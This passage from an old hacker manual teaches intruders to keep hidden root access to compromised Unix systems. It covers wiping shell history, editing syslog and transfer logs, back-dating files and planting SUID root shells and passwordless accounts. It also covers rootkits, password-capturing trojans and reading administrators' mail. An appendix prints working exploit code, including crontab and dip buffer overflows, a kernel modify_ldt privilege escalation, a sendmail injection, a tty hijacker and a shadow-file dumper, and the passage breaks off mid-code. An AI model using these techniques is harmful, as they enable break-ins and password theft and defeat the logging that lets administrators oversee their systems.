Feb 17 1996 .xfm drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail [jnsmith@ns jnsmith]# ******----> Make sure you place this sys link .bash_history to /dev/null so you do not leave a history behind... This is the command to do it, but make sure you delete the old .bash_history if it is there. ln -s /dev/null .bash_history Ok logout ... Ok, there is another way!!!!!! If you can remember and make it a practice that you NEVER forget, get used to this.... EVERY TIME you login to an account type: unset HISTFILE This will tell the system to delete your history file when you logoff the system... USE THIS! Get into the practice! DON'T FORGET! ----------- Section 6B messages and syslog ----------- In the log directory you will find a file called 'messages' each system is different as far as what is logged to what files or what file name. Make sure to check in the /etc/syslog.conf file for additional logging to remote machines. If this is being done you will see something like this: *.* @somehostname.xxx Or just to check and see where the log files are going you can view this file /etc/syslog.conf. Here is a sample... bash# more syslog.conf # /etc/syslog.conf # For info about the format of this file, see "man syslog.conf" (the BSD man # page), and /usr/doc/sysklogd/README.linux. # # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES. # I don't know why. # *.=info;*.=notice /var/adm/messages *.=debug /var/adm/debug *.warn /var/adm/syslog *.warn /root/.../syslog *.=crit;kern.none /var/adm/critical kern.info;kern.!err /var/adm/kernel-info mail.*;mail.!=info /root/.../mail mail,news.=info /root/.../info mail.*;mail.!=info /var/adm/mail mail,news.=info /var/adm/info *.alert root,bob *.=info;*.=notice @quality.com *.=debug @quality.com *.warn @quality.com *.=crit;kern.none @quality.com kern.info;kern.!err @quality.com mail.*;mail.!=info @quality.com mail,news.=info @quality.com Here some of the logs are going into a hidden directory in the /root directory and a copy of every alert and warning are being also sent to the logs at quality.com. wtmp, utmp and lastlog are still local, so you can still be ok, just make sure not to use 'su' on a system like this. Also notice above that alert messages are being mailed to root and bob on this system. Also take note that syslog, mail, and, info are being sent to the /var/adm directory to fool you into thinking all of the logs are in /var/adm! If you edit /var/adm the admin can run a diff on the backup files in the /root dir. Ok, so you go to the /var/adm or /var/log directory and: grep yourhost * |more grep your ip * |more you see that some files are logging your connection, mark down what files are logging you and edit the /etc/syslog.conf file. You will from trial and error in most cases make it skip the logging process of your domain. BUT, make sure to do a few things. After you edit the file restart the syslogd. You can do this by doing a ps -x $root> ps -x 39 ? S 1:29 /usr/sbin/syslogd find the syslogd and notice the process id here is 39, so you do: kill -HUP 39 This will restart the process and put your changes into effect. The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you edit it and touch the file date back to the original date and time after you edit it. This way if they notice the logging looks different, they will check the file date and think it must be something else. Most admins would not know how to setup this file in the first place, so you in some (or most) cases ok to edit it. Here is another file to look at. /etc/login.defs # Enable "syslog" logging of su activity - in addition to sulog file logging # SYSLOG_SG_ENAB does the same for newgrp and sg. # SYSLOG_SU_ENAB yes SYSLOG_SG_ENAB yes # # If defined, all su activity is logged to this file # SULOG_FILE /home/users/bob/.list Notice here that there is an su log file in a hidden file in one of the admin's directories. ----------- Section 6C xferlog ----------- The xferlog can be edited with your favorite text editor, pico, joe, vi, etc.. you can then search for your transfers and delete the lines and save the file. You will need to do this after transferring any files. You will also want to grep the files in the /usr/local/etc/httpd/log directory if you have used the web or phf on the system to remove your presence from there. grep (username or hostname) * |more If you need to find the logs for httpd you can do a find -name httpd.conf -print and view the config file you see where the httpd logs are going. There might be different ftp logs for transfers in some ftp or virtual ftp directory some where. View the files in the /etc/ftp* to find what the ftp setup is on the box. Here I have shown you to edit log files using pico, joe, or other editors. There is another way... Sometimes log files might be real large and the editor just might not cut it ;) Here is what to do... You have a messages file 20 meg ... wow! If you want to get the lines that have fudge.candy.com out of this file you might want to do this: grep -v fudge.candy >messages.2 rm messages mv messages2 messages then kill -HUP <process id for syslogd> -v means grep everything that does not match the line, so you are greping the file -what you do not want to a new file name messages.2. Check the file size after the grep to make sure no errors were made and replace the old one with the new one and restart syslogd. This can also be used with other logs like xferlog, syslog, etc... Here is a perl script that will do it for you from command line. ------------------- start of riptext.pl #!/usr/bin/perl # # RipText - Takes regular expression and filename argument from @ARGV. Any # lines MATCHING regular expression will *not* be printed to # STDOUT. # # die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0])); ($regexp, $filename) = @ARGV[0,1]; # Read in contents of file. $/ = undef; $contents=""; if (!defined($filename)) { # Use STDIN. $contents = scalar <STDIN>; } else { # Use FILE. open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n"); $contents = scalar <FILE>; close(FILE); } @contents = split(/\n/, $contents); # Strip file of matching lines. open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n"); foreach (@contents) { print FILE "$_\n" unless (/$regexp/i); } close(FILE); 0; ------------------------ end of riptext.pl Remember to restart syslogd after you edit files, true you will not see the stuff, and it will be gone to your eyes, but if you do not restart the process, the data is still in memory and can be retrieved until you restart the process! Also look for notes in the syslog that the syslogd process was restarted at such and such a time. --------------- Section 6D The cron table --------------- Make sure to look at admin's and root cron files, here in this system we find a root cron file in: /var/spool/cron/crontabs bash# ls -l total 1 -rw------- 1 root root 851 Jan 26 14:14 root bash$ more root # This updates the database for 'locate' every day: 40 07 * * * updatedb 1> /dev/null 2> /dev/null 40 */12 * * * /sbin/checkfs there is a file running here in /sbin called checkfs. bash$ cd /sbin bash$ /sbin # more checkfs #!/bin/bash if [ ! -f /etc/default/fs/.check ]; then echo WARNING!! Filecheck default file cannot be found. Please regenerate. exit fi md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null md5sum /sbin/* >> /tmp/filecheck 2>/dev/null md5sum /bin/* >> /tmp/filecheck 2>/dev/null md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null md5sum /lib/* >> /tmp/filecheck 2>/dev/null md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1 if [ -s /tmp/filecheck2 ]; then mail -s FSCheck bin < /tmp/filecheck2 fi rm /tmp/filecheck /tmp/filecheck2 2>/dev/null md5 is a checksum file, if you change or add a binary file to any of the above directories the information of the changes will be mailed to the admin. ------------------------------ Chapter 7 Keeping access to the machine ------------------------------ There are many ways to keep access to the machine, you will loose access to many as you as you are learning, but I hope with this manual and some experience you will become a stable hacker. Section 7A Tricks of the trade Here are some 'tricks' of the trade that will help you keep access to the machine. After a system admin has found you out, they will be watching for you and going through everything on the system. They will go as far as recompiling binary files, changing everyone's passwords, denying your host you came in from to the machine, going through the passwd or shadow file, looking for SUID files, etc.... When you see that you have been found out, do not try to get access to the system again. I have seen others right after being cought, try everyone of their trojans, other accounts, and other backdoor's they placed for continued access. Well think about it, they are watching for you ... you are showing them every in that you have to the system, and every exploitable file you are making known to them. NO! WAIT! Give it a few months, they will think everything is ok, and they will relax and you can come in with one of the backdoor's they missed, and you can do your thing on the logs for all of the attempts you made on the system to get back in. Ok here are some tricks of the trade. History Files: -------------- Always put your .bash_history to /dev/null, if you don't make sure you at least edit it. Remember the .bash_history will always have your last commands until the logoff. So if you edit it, it will show that you are editing it. You might try changing your shell and editing it there, but this all seems like a pain, just set it to /dev/null 1. Delete the file in the user directory .bash_history if it there. 2. Type this command in the home directory: ln -s /dev/null .bash_history Nested directory: ----------------- Always find a directory on the system to hide your files. There are a few good ones that most users never look into. In the users home directory look for .term, all you will find in this directory is an executable file called termrc. Admin's and users alike are used to seeing this hidden directory, and never EVER go into it. if they did what do you think they would say to an executable file being in there called termrc? You are right! Nothing .... it belongs there and it is what they expect to see there. So lets say we make termrc a little bigger, and add suid perm's ... are you getting the idea???? I hope you guessed it... go to the /bin directory and type cp bash (or sh whatever is there) ~username/.term/termrc then type : chown root ~username/.term/termrc : chgrp root ~username/.term/termrc : chmod +s ~username/.term/termrc Now you have a nested file that can get you root on the system any time that will not be easy for the admin to find. If you want to get fancy, touch the file date to make it look like an older file. Another directory off the user accounts expected to be there and unused would be .elm, .term or Mail, or try making a directory called '...' this is harder to notice seeing the first directories that show are . and .., so it can go un-noticed easy. This is how it would look if they did a long ls: 1024 Jan 29 21:03 . 1024 Dec 28 00:12 .. 1024 Jan 29 21:03 ... 509 Mar 02 1996 .bash_history 22 Feb 20 1996 .forward 164 May 18 1996 .kermrc 34 Jun 06 1993 .less 114 Nov 23 1993 .lessrc 1024 May 18 1996 .term 1024 May 19 1996 public_html see how it seems to just fit into place? but if it was just a ls -l, this is what would be seen: 1024 May 19 1996 public_html Remember you can always look for some REAL LONG file path that you are sure that no one would ever even want to enter into, and use this for your nested directory. You can even make your own directory there like:(...) ;) Making new commands -------------------- After you check the cron to see if there is md5 being used there, you might want to either copy one of your exploits to another filename in the system, or maybe just overwrite a command that you know would never be used. If you copy to a new file name make sure you touch the file date. This is not so long lasting because sooner or later they will patch the exploit and your new file you made will not work anymore. It is better to use a shell for the new filename, and then make it suid. Adding or changing passwd entry's --------------------------------- Another backdoor that you can use is to add a new user to the passwd file. This needs to be done with caution making it look like it belongs there. Never use your passwd addition, never login, it is just for a backup in case you loose access. There are different thoughts here: you do not have to make it a root account that could cause notice to it right away. You know you can have root any time you want it. Lets practice ... We want to make our account look like it belongs, so lets keep to the top of the file. root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:65535:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash Looking at the above passwd file leaves us a few options so i will just list them here. 1. Look at the user line for operator, ftp, and postmaster. All of these accounts have shells with no passwd's set yet. From your shell just type: passwd postmaster Set the account with no passwd by just pressing enter. Now you will be able to log into this account any time without a password and the file will still look right to the admin. 2. add this line to the passwd file: syst::13:12:system:/var/spool:/bin/bash Place it in the file where it seems to flow. You can leave the :: for the passwd or set the passwd to what you want by typing: passwd syst from the root shell. Set the group and id above to what you like. 3. Look at the line above for sync sync:*:5:0:sync:/sbin:/bin/sync Change this to : sync:*:5:0:sync:/sbin:/bin/bash and then run <passwd sync> and leave the passwd blank. (or set a passwd don't matter) On this account we are even gid=0 <G>rin Installing games ---------------- You could always install exploitable doom or abuse into the system if they already have games installed. I will include the root exploits for these games below in the appendix. Always be watching ------------------ Always know who the admin's are on a system, you can find them by looking at the passwd file to see home directories, placement of the uid, group access accounts, and ALWAYS read all of the bash_history files in the user directories to see who is using admin commands. You will also learn allot of new commands from reading history files, but you want to know who is who on the system. Get to know your system well. Look for users using su: View the log files to see who is using admin commands. Always be watching the system, keep track of who is on while you are. Watch the admin's history to see what commands they are using, ttysnoops? too many ps commands? finger commands after ps or w or who commands will show they are watching what other users on the system are doing. Watch your admin's and get to know how aware they are of users on their system. Reading system mail Rember first NEVER to use system mail programs! They will be able to tell you are reading their mail. I use a combo of a few things. Here you go... 1. cd /var/spool/mail This will put you into the directory that holds all of the unread mail, or waiting mail. Now you can do things like: grep -i security * |more grep -i hack * |more grep -i intruder * |more grep -i passwd * |more grep -i password * |more Then if needed pico username, and ctrl w to search for your maeesge. You can also delete messages if you see some other admin is telling them that your user name is hacking their machine from their domain. For a mail reader that will allow toy to read mail without updating pointers try: http://obsidian.cse.fau.edu/~fc has a util on it that can cat /var/spool/mail files without changing the last read dates.. ie they have no idea that you have read their mail. Also remember you can find other system mail in user's directories. Make sure to look in the /root directory. Look for /root/mail or username/mail or other directories or filders that contain older mail. Happy Hunting ... -------------------------------- Section 7B Root and Demon kits and trojans -------------------------------- Root kits are C source for ps, login, netstat and sometimes some other programs that have been hacked for you. With these kits you will be able to replace the login files on the hacked box so that you can login without an account on the machine. You will also be able to patch ps so that you will not show up when an admin uses the ps command. With the ps patch you can also have it not show processes that have certain file names such as any file that starts with 'sniff'. Demon kits will have hacked programs for identd, login demon, ping, su, telnetd, and, socket. Trojans will be any file that you can use that will allow you to exploit the system in some way. An su trojan placed in the admin's directory would run the trojan su first after you change the export path for him ;) and report back that he typed the wrong passwd and delete the trojan file, but saving the password he typed to the /tmp directory. A login trojan would save all login passwords to a file on the machine for you. I think you get the idea ;) Demon and Linux root kits have been uuencoded and attached to the end of appendix VI ****************************************** * Appendix I - Things to do after access * ****************************************** I think in this paper we have covered most of the things you can do after access, so I will make this in the style of a checklist from a to z. a. learn who the admin's are on the system b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to try and keep track of what others are doing c. read all of the bash history files or any history files you can find on the machine to learn more yourself, and to learn about the users d. make as many backdoor's into the system as you can that you are sure will not be found out e. keep the access to yourself, don't give out users passwords on the machine you get root on. f. always clean your utmp and wtmp right away when you login g. always clean your mess as you go along, this includes your xferlog and messages h. if you have root access make sure to read /etc/syslog.conf and /etc/login.defs to see how the system is logging i. before changing binary files look at the root cron to see what they are running. j. look for md5 on the system k. look for separate ftp logs l. make sure to clean the www logs if you ever send phf commands to the server m. make an suid root shell and place it somewhere on the system n. do only what you are sure of, don't do everything in this hacking manual all at once or you are asking to get cought o. only use nested directories, do not put files into user directories where all they need to do is type ls to see them p. don't add user accounts and think they will not notice you. q. don't use pine or other mail programs to read users mail. if you want to read mail go to the mail dir and read it from unix, new mail you will find in /var/spool/mail read it there. r. don't change the system so that other programs they have running will not work any more, they will be on you like fly's on shit s. don't delete files on the system unless you put them there t. do not modify their web pages, like i was here ... you are not a hacker you are a little kid wanting attention u. do not change any passwords on the system (unless you are doing it for access and have backed up the passwd file and replace it right after you login v. do not use any root account machines for irc access, or to load a bot on w. if your root account changes or you create files that are owned by the wrong group, be sure to chown the files x. do not use .rhosts if there is already one there that is being used y. never telnet or ftp to your account from the hacked box z. don't fuck up their machine! only do what you know how to do. **************************************************** * Appendix II - Hacking / Security WWW / ftp sites * **************************************************** IRC QuantumG #virus Quantum's Linux Page http://obsidian.me.fau.edu/~quantum Nice site for a bit of info and unix exploits! CyberToast's Files section Here you will find a nice selection of hacking, crackers, hex editors, viruses, cracks, phreaking, war dialers, scanners, and, misc files. www.ilf.net/~toast/files Reptiles Realm A nice site for many linux exploits www.users.interport.net/~reptile/linux FTP site loaded with all kinds of IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES! http://ftp.giga.or.at/pub/hacker Linux Security Digest Lot's to look at here http://king.dom.de/~un/linux-security Linux Security Alert http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts The Linux Security Home Page http://www.ecst.csuchico.edu/~jtmurphy These are good sites just to get you started, there are many links on these. Just make sure to browse in your favorite engine and search for words like: hack, linux, unix, crack ect.... ********************************************************* * Appendix III - More exploits for root or other access * ********************************************************* .......................................................................... . . . 1. vixie crontab buffer overflow for RedHat Linux . .......................................................................... If crontab is suid it is more then likely exploitable. -----------cut here /* vixie crontab buffer overflow for RedHat Linux * * I don't think too many people know that redhat uses vixie crontab. * I didn't find this, just exploited it. * * * Dave G. <daveg@escape.com> * 10/13/96 * */ #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define DEFAULT_OFFSET -1240 #define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */ #define HAPPY_FILE "./Window" long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { int fd; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; /* * The sscanf line reads for 'name' as %[^ =]. Neither a space, nor * a '=' character appears below */ int i; int ofs = DEFAULT_OFFSET; /* if we have a argument, use it as offset, else use default */ if(argc == 2) ofs = atoi(argv[1]); else if (argc > 2) { fprintf(stderr, "egg [offset]\n"); exit(-1); } /* print the offset in use */ printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (878/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr++ = '='; *ptr++ = 'X'; *ptr++ = '\n'; *ptr = 0; printf("Writing to %s\n", HAPPY_FILE); /* * The sleep is required because as soon as crontab opens the tmp file it * stat's and saves it. After the EDITOR program exists it stats again * and if they are equal then it assumes changes weren't made and exits. */ fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666); write (fd, buff, strlen(buff)); close(fd); execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); /* Successful completion */ exit(0); } ----------- cut here .......................................................................... . . . 2. Root dip exploit . . . .......................................................................... in /sbin you will find a symbolic link called dip to a suid root binary. Chances are, if this file is suid, it's sploitable. -------- cut here #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_DIP "/sbin/dip" u_char shell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs"; u_long esp() { __asm__("movl %esp, %eax"); } main() { u_char buf[1024]; u_long addr; int i, f; strcpy(buf, "chatkey "); addr = esp() - 192; for (i=8; i<128+16; i+=4) *((u_long *) (buf+i)) = addr; for (i=128+16; i<512; i++) buf[i] = 0x90; for (i=0; i<strlen(shell); i++) buf[512+i] = shell[i]; buf[512+i] = '\n'; if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) { perror("temp.dip"); exit(0); } write(f, buf, 512+i); close(f); execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0); } ---------- cut here .......................................................................... . . . 3. ldt - text by quantumg . . . .......................................................................... this one is a little old but I'm rather proud of it so I thought I'd give it a praise. in writing the linux kernel the guys who wrote a certain section fucked up. they let you stretch and modify the area of memory you can access. at first the sploit required a System.map to be in the root dir. so the simple solution to the bug was to delete all System.map files off the system and remove all the uncompressed kernels (cause you can generate a System.map by doing an nm on uncompressed kernels), this is now rather stupid cause there are patches for all kernel versions with the bug and I have written a version of this sploit that doesn't need a System.map. ---------- cut here /* this is a hack of a hack. a valid System.map was needed to get this sploit to werk.. but not any longer.. This sploit will give you root if the modify_ldt bug werks.. which I beleive it does in any kernel before 1.3.20 .. QuantumG */ /* original code written by Morten Welinder. * * this required 2 hacks to work on the 1.2.13 kernel that I've tested on: * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed. * 2. the _task in the System.map file has no leading underscore. * I am not sure at what point these were changed, if you are * using this on a newer kernel compile with NEWERKERNEL defined. * -ReD */ #include <linux/ldt.h> #include <stdio.h> #include <linux/unistd.h> #include <signal.h> #ifdef NEWERKERNEL #include <asm/sigcontext.h> #endif #define __KERNEL__ #include <linux/sched.h> #include <linux/module.h> static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table); static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount) #define KERNEL_BASE 0xc0000000 /* ------------------------------------------------------------------------ */ static __inline__ unsigned char __farpeek (int seg, unsigned ofs) { unsigned char res; asm ("mov %w1,%%gs ; gs; movb (%2),%%al" : "=a" (res) : "r" (seg), "r" (ofs)); return res; } /* ------------------------------------------------------------------------ */ static __inline__ void __farpoke (int seg, unsigned ofs, unsigned char b) { asm ("mov %w0,%%gs ; gs; movb %b2,(%1)" : /* No results. */ : "r" (seg), "r" (ofs), "r" (b)); } /* ------------------------------------------------------------------------ */ void memgetseg (void *dst, int seg, const void *src, int size) { while (size-- > 0) *(char *)dst++ = __farpeek (seg, (unsigned)(src++)); } /* ------------------------------------------------------------------------ */ void memputseg (int seg, void *dst, const void *src, int size) { while (size-- > 0) __farpoke (seg, (unsigned)(dst++), *(char *)src++); } /* ------------------------------------------------------------------------ */ int main () { int stat, i,j,k; struct modify_ldt_ldt_s ldt_entry; FILE *syms; char line[100]; struct task_struct **task, *taskptr, thistask; struct kernel_sym blah[4096]; printf ("Bogusity checker for modify_ldt system call.\n"); printf ("Testing for page-size limit bug...\n"); ldt_entry.entry_number = 0; ldt_entry.base_addr = 0xbfffffff; ldt_entry.limit = 0; ldt_entry.seg_32bit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA; ldt_entry.read_exec_only = 0; ldt_entry.limit_in_pages = 1; ldt_entry.seg_not_present = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) /* Continue after reporting error. */ printf ("This bug has been fixed in your kernel.\n"); else { printf ("Shit happens: "); printf ("0xc0000000 - 0xc0000ffe is accessible.\n"); } printf ("Testing for expand-down limit bug...\n"); ldt_entry.base_addr = 0x00000000; ldt_entry.limit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK; ldt_entry.limit_in_pages = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) { printf ("This bug has been fixed in your kernel.\n"); return 1; } else { printf ("Shit happens: "); printf ("0x00000000 - 0xfffffffd is accessible.\n"); } i = get_kernel_syms(blah); k = i+10; for (j=0; j<i; j++) if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j; if (k==i+10) { printf("current not found!!!\n"); return(1); } j=k; taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value); memgetseg (&taskptr, 7, taskptr, sizeof (taskptr)); taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr); memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); } printf("Current process is %i\n",thistask.pid); taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr); memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); } printf("Parent process is %i\n",thistask.pid); thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0; thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0; memputseg (7, taskptr, &thistask, sizeof (thistask)); printf ("Shit happens: parent process is now root process.\n"); return 0; }; ----------- cut here .......................................................................... . . . 4. suid perl - text by quantumg . .......................................................................... In the /usr/bin dir (usually) you will find a suid root binary called suidperl. If this file is suid root it is most probably sploitable. You need to set this file suid (chmod 4700 will do it) and execute it to get root. ---------- cut here #!/usr/bin/suidperl $> = 0; #set effective user id $ENV{'PATH'} = '/bin:/usr/bin'; #secure the session $ENV{'IFS'} = '' if $ENV{'IFS'} ne ''; $execpath = "/bin/sh"; #sameol sameol $execpath =~ /(.*)/; #untaint the variable $boom = $1; #$boom untainted system $boom; #run EUID=0 shell ----------------cut here .......................................................................... . . . 5. Abuse Sendmail 8.6.9 . . . .......................................................................... -----------cut here /* smh.c - atreus - Michael R. Widner (2/27/95) * <widner@uchicago.edu> <atreus@primus.com> * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this * hole. It's really just a matter of passing newlines in arguments to * sendmail and getting the stuff into the queue files. If we run this * locally with -odq we are guaranteed that it will be queue, rather than * processed immediately. * usage: smh [ username [/path/to/sendmail]] * It's worth noting that this is generally only good for getting bin. * sendmail still wants to process the sendmail.cf file, which contains * Ou1 and Og1 most of the time, limiting you to bin access. Is there * a way around this? * cc -o smh smh.c should do the trick. This just creates a bin owned * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some * systems this is pretty much worthless, but you're smart enough to know * which systems those are. Aren't you? bash$ ./smh root /usr/lib/sendmail bash$ /usr/lib/sendmail -q */ #include <sys/types.h> #include <unistd.h> #include <stdlib.h> /* Take Your Pick */ #define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii " #define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rasc ii " main(argc, argv) int argc; char **argv; { execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1, argv[1] ? argv[1] : "atreus",0); } ----------- cut here .......................................................................... . . . 6. ttysurf - grab someone's tty . .......................................................................... ------------cut here #include <stdio.h> #include <signal.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/termios.h> #define DEBUG 1 /* Enable additional debugging info (needed!) */ #define USLEEP /* Define this if your UNIX supports usleep() */ #ifdef ULTRIX #define TCGETS TCGETP /* Get termios structure */ #define TCSETS TCSANOW /* Set termios structure */ #endif handler(signal) int signal; /* signalnumber */ { /* do nothing, ignore the signal */ if(DEBUG) printf("Ignoring signal %d\n",signal); } int readandpush(f,string) FILE *f; char *string; { char *cp,*result; int e; struct termios termios; result=fgets(string,20,f); /* Read a line into string */ if (result==NULL) { perror("fgets()"); return(1); } if (DEBUG) { printf("String: %s\n",string); fflush(stdout); } ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */ /* echo = (termios.c_lflag & ECHO); */ termios.c_lflag=((termios.c_lflag | ECHO) - ECHO); ioctl(0,TCSETS,&termios); for (cp=string;*cp;cp++) /* Push it back as input */ { e=ioctl(0,TIOCSTI,cp); if(e<0) { perror("ioctl()"); return(1); } } return(0); } main(argc,argv) int argc; char *argv[]; { /* variables */ int err; FILE *f; char *term = "12345678901234567890"; char *login = "12345678901234567890"; char *password = "12345678901234567890"; if (argc < 2) { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]); printf("Enter ttyname: "); gets(term); } else term=argv[argc-1]; signal(SIGQUIT,handler); signal(SIGINT,handler); signal(SIGTERM,handler); signal(SIGHUP,handler); signal(SIGTTOU,handler); close(0); /* close stdin */ #ifdef ULTRIX if(setpgrp(0,100)==-1) perror("setpgrp:"); /* Hopefully this works */ #else if(setsid()==-1) perror("setsid:"); /* Disconnect from our controlling TTY and start a new session as sessionleader */ #endif f=fopen(term,"r"); /* Open tty as a stream, this guarantees getting file descriptor 0 */ if (f==NULL) { printf("Error opening %s with fopen()\n",term); exit(2); } if (DEBUG) system("ps -xu>>/dev/null &"); fclose(f); /* Close the TTY again */ f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ if (f==NULL) { printf("Error opening /dev/tty with fopen()\n",term); exit(2); } if(readandpush(f,login)==0) { #ifdef USLEEP usleep(20000); /* This gives login(1) a chance to read the string, or the second call would read the input that the first call pushed back ! /* #else for(i=0;i<1000;i++) err=err+(i*i) /* error /* Alternatives not yet implemented */ #endif readandpush(f,password); printf("Result: First: %s Second: %s\n",login,password); } fflush(stdout); sleep(30); /* Waste some time, to prevent that we send a SIGHUP to login(1), which would kill the user. Instead, wait a while. We then send SIGHUP to the shell of the user, which will ignore it. */ fclose(f); } --------------cut here .......................................................................... . . . 7. shadow.c - Get shadow passwd files . . . .......................................................................... ----------- cut here /* This source will/should print out SHADOWPW passwd files. */ struct SHADOWPW { /* see getpwent(3) */ char *pw_name; char *pw_passwd; int pw_uid; int pw_gid; int pw_quota; char *pw_comment; char *pw_gecos; char *pw_dir; char *pw_shell; }; struct passwd *getpwent(), *getpwuid(), *getpwnam(); #ifdef elxsis? /* Name of the shadow password file. Contains password and aging info */ #define SHADOWPW "/etc/shadowpw" #define SHADOWPW_PAG "/etc/shadowpw.pag" #define SHADOWPW_DIR "/etc/shadowpw.dir" /* * Shadow password file pwd->pw_gecos field contains: * * <type>,<period>,<last_time>,<old_time>,<old_password> * * <type> = Type of password criteria to enforce (type int). * BSD_CRIT (0), normal BSD. * STR_CRIT (1), strong passwords. * <period> = Password aging period (type long). * 0, no aging. * else, number of seconds in aging period. * <last_time> = Time (seconds from epoch) of the last password * change (type long). * 0, never changed.n * <old_time> = Time (seconds from epoch) that the current password * was made the <old_password> (type long). * 0, never changed.ewromsinm * <old_password> = Password (encrypted) saved for an aging <period> to * prevent reuse during that period (type char [20]). * "*******", no <old_password>. */ /* number of tries to change an aged password */ #define CHANGE_TRIES 3 /* program to execute to change passwords */ #define PASSWD_PROG "/bin/passwd" /* Name of the password aging exempt user names and max number of entires */ #define EXEMPTPW "/etc/exemptpw" #define MAX_EXEMPT 100 /* Password criteria to enforce */ #define BSD_CRIT 0 /* Normal BSD password criteria */ #define STR_CRIT 1 /* Strong password criteria */ #define MAX_CRIT 1 #endif elxsi #define NULL 0 main() { struct passwd *p; int i; for (;1;) {; p=getpwent(); if (p==NULL) return; printpw(p); } } printpw(a) struct SHADOWPW *a; { 